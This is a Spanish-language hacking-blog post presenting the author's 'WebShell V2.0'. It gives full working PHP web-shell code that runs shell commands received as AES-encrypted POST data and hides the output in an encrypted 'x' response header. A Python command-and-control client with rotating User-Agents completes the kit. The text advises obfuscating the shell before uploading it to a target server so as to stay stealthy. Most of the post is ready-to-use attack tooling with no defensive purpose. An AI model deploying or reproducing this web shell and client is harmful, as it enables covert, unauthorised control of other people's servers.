Webshell

January 01, 2021

WebShell V2.0

Os presento una pequeña herramienta que os podría ser útil.

Se trata de una webshell en php creada por mi.

<?php
$secret = 'W3lc0m3';  // Clave secreta
$key = hash('sha256', $secret, true); 

$input = json_decode(file_get_contents('php://input'), true);

if (!$input) {
    exit;
}

$s = $input['s'];  
$command_encoded = $input['_'];  

$decoded_secret = decrypt_data($s, $key);
if ($decoded_secret === $secret) {
    $command = decrypt_data($command_encoded, $key);    
    if ($command) {
        $output = `$command`;  
        if ($output === null) {
            $output_encrypted = encrypt_data('Error: Fallo al ejecutar el comando.', $key);
            header('x: ' . $output_encrypted);
        } else {
            $output_encrypted = encrypt_data($output, $key);
            header('x: ' . $output_encrypted);
        }
    }
} else {
    $error_encrypted = encrypt_data('Secret mismatch', $key);
    header('x: ' . $error_encrypted);
}

// Función para descifrar los datos
function decrypt_data($data, $key) {
    $data = base64_decode($data);
    $iv = substr($data, 0, 16); 
    $ciphertext = substr($data, 16); 
    $decrypted_data = openssl_decrypt($ciphertext, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
    if ($decrypted_data === false) {
        return null;
    }
    return $decrypted_data;
}

function encrypt_data($data, $key) {
    $iv = openssl_random_pseudo_bytes(16);  
    $encryptedData = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
    $result = base64_encode($iv . $encryptedData);      
    return $result;
}
?>

Esta pequeña webshell funciona de la siguiente manera:

En el código se ha fijado en una variable el valor de un “secreto”, en este caso W3lc0m3. El funcionamiento del script solo funcionara si se envía a través de un parámetro llamado “s” el secreto cifrado y encodeado en base64, adicionalmente, tambien hay que enviar el comando a ejecutar cifrado y encodeado en base64, de la siguiente forma:

Untitled

Esta petición ejecutara el comando whoami, el servidor añadirá una nueva cabecera en la respuesta del servidor llamada “x” con el contenido del comando ejecutado cifrado y encodeado en base64.

De esta forma somos “un poco” mas sigilosos y no hacemos tanto ruido en el servidor.

Lo recomendable a realizar antes de subir el archivo es ofuscarlo en paginas como:

https://www.gaijin.at/en/tools/php-obfuscator https://php-minify.com/php-obfuscator/

Una vez subido la webshell con éxito al servidor. Podemos utilizar el siguiente script de Python para ejecutar comandos cómodamente.

import base64, signal, argparse, os, random 
import requests
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
import readline  
import hashlib


HISTORY_FILE = '.command_history'  # Archivo para almacenar el historial de comandos

# Cargar historial de comandos al iniciar el programa
if os.path.exists(HISTORY_FILE):
    readline.read_history_file(HISTORY_FILE)

# Guardar el historial de comandos al cerrar el programa
import atexit
atexit.register(readline.write_history_file, HISTORY_FILE)

# Lista de User-Agent comunes
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Edge/91.0.864.59",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/89.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
]

class Color:
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'

def def_hundler(sig, frame):
    print(Color.YELLOW + "[!]Saliendo..")
    exit(1)

signal.signal(signal.SIGINT, def_hundler)

# Función para derivar la clave de 32 bytes usando SHA256
def derive_key_from_secret(secret_key):
    return hashlib.sha256(secret_key.encode('utf-8')).digest()

# Función para cifrar los datos (AES-256-CBC)
def encrypt_data(data, key):
    key = derive_key_from_secret(key)  
    iv = get_random_bytes(16)  
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
    encrypted_data = base64.b64encode(iv + ciphertext).decode('utf-8')  
    return encrypted_data

# Función para descifrar los datos (AES-256-CBC)
def decrypt_data(encrypted_data, key):
    key = derive_key_from_secret(key)  
    encrypted_data = base64.b64decode(encrypted_data)  
    iv = encrypted_data[:16] 
    ciphertext = encrypted_data[16:]  
    cipher = AES.new(key, AES.MODE_CBC, iv)
    try:
        decrypted_data = unpad(cipher.decrypt(ciphertext), AES.block_size).decode('utf-8')
        return decrypted_data
    except (ValueError, KeyError) as e:
        return None

def main(url, secret, cmd, proxy):
    # Cifrar el secreto y el comando
    encrypted_secret = encrypt_data(secret, secret)  
    encrypted_command = encrypt_data(cmd, secret)  
    payload = {
        "s": encrypted_secret,
        "_": encrypted_command
    }
    headers = {
        "Content-Type": "application/json",
        "User-Agent": random.choice(USER_AGENTS)  
    }
    try:
        r = requests.post(url, json=payload, headers=headers, proxies=proxy, verify=False)
        if r.status_code == 200:
            if 'x' in r.headers:
                encrypted_response = r.headers['x']                 
                decrypted_response = decrypt_data(encrypted_response, secret)
                if decrypted_response:
                    print(Color.GREEN + "Solicitud enviada correctamente")
                    print(Color.BLUE + f"Comando ejecutado:\n{decrypted_response}")
                else:
                    print(Color.RED +"Error: No se pudo descifrar la respuesta.")
            else:
                print(Color.RED +"Error: No 'x' header found in response.")
        else:
            print(Color.RED +f"Error al enviar la solicitud. Código de estado: {r.status_code}")
        
    except requests.exceptions.RequestException as e:
        print(f"Error al realizar la solicitud: {e}")

def usage():
    fNombre = os.path.basename(__file__)
    ussage = fNombre + ' [-h] -url <URL> [-secret SECRET] \n\n'
    ussage += '[+] Ejemplos:\n'
    ussage += '\t' + fNombre + ' -url https://wordpress.com/ -secret secret\n'
    return ussage

def arguments():
    parser = argparse.ArgumentParser(usage=usage(), description="Python3 C2")
    parser.add_argument('-url', dest='url', type=str, help='URL')
    parser.add_argument('-secret', dest='secret', type=str, default=False, help='Secreto')
    parser.add_argument('-proxy', dest='proxy', type=str, default=False, help='Proxy')
    return parser.parse_args()

if __name__ == '__main__':
    args = arguments()
    proxy = {
        "http": args.proxy,
        "https": args.proxy,  
    }

    while True:
        try:
            cmd = input(Color.RED + "> ")
            main(args.url, args.secret, cmd, proxy)
        except EOFError:
            print("\nSaliendo...")
            break

El uso del script es el siguiente:

python.exe ./webshell.py -url "http://localhost/ofuscated.php" -secret W3lc0m3!

Untitled

H4ckBl0g

WebShell V2.0